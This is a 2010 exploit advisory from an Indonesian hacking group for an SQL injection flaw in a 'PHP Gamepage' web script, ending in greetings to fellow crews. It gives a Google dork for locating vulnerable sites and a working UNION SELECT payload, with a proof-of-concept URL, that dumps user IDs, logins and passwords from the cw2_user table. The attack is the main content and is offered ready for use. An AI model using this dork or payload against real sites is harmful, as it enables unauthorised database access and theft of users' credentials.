44 lines
No EOL
1.8 KiB
Text
44 lines
No EOL
1.8 KiB
Text
*************************************************************************
|
|
,
|
|
| ,---. , . |---. ,---. ,---. ,---. ,---. ,---. , . ,
|
|
| --- | | | | | |---' | | | |---' | | |
|
|
| `---' `---| `---' `---' ` `---' ` `---' `---`---
|
|
` `---'
|
|
*************************************************************************
|
|
[V] PHP Gamepage SQL Injection Vulnerability
|
|
|
|
--==[ Author ]==--
|
|
[+] Author : v4lc0m87
|
|
[+] Contact : valcom87[at]gmail[dot]com
|
|
[+] Group : INDONESIAN CYBER
|
|
[+] Site : http://indonesian-cyber.org/
|
|
[+] Date : May, 17-2010 [INDONESIA]
|
|
|
|
*************************************************************************
|
|
--==[ Details ]==--
|
|
|
|
[+] Vulnerable : SQL Injection
|
|
[+] Google Dork : inurl:index.php?title=gamepage
|
|
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
[-] Exploit:
|
|
[+] -111+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,concat_ws(0x3a,id,login,pass)v4lc0m87,0,0,0,0,0,0,0,0,0,0,0,0+from+cw2_user--
|
|
|
|
[-] Remote SQLi p0c:
|
|
[+] http://127.0.0.1/index.php?title=gamepage&m=-111+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,concat_ws(0x3a,id,login,pass)v4lc0m87,0,0,0,0,0,0,0,0,0,0,0,0+from+cw2_user--
|
|
|
|
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
INDONESIAN-CYBER.ORG | DEVILZC0DE.ORG | INDONESIANHACKER.ORG | HACKER-CISADANE.ORG | TECON-CREW.ORG
|
|
|
|
[V] thx to:
|
|
SaruKusai (putus nyambung terus,hahha) MarilynMesum (smoga jadi bassis terbaik)
|
|
Team m0n0n banci kamera(clase_1214n,c4uR,astroboyyy,aldy182,vhesckot_1601)
|
|
Bocah tua nakal (mbah l4mpor,awchoy)
|
|
flyff666 cruz3N petimati spykit v3n0m uzanc
|
|
kokoh wisdom (program jadi rokok 3 slop marlboro menthol wkwkwkwk)
|
|
blue screen, skutengboy (kalian pasangan yg serasi, jikakakakakk)
|
|
[K]urabu[S]aru [RnR] cO2 community
|
|
and y0u !! |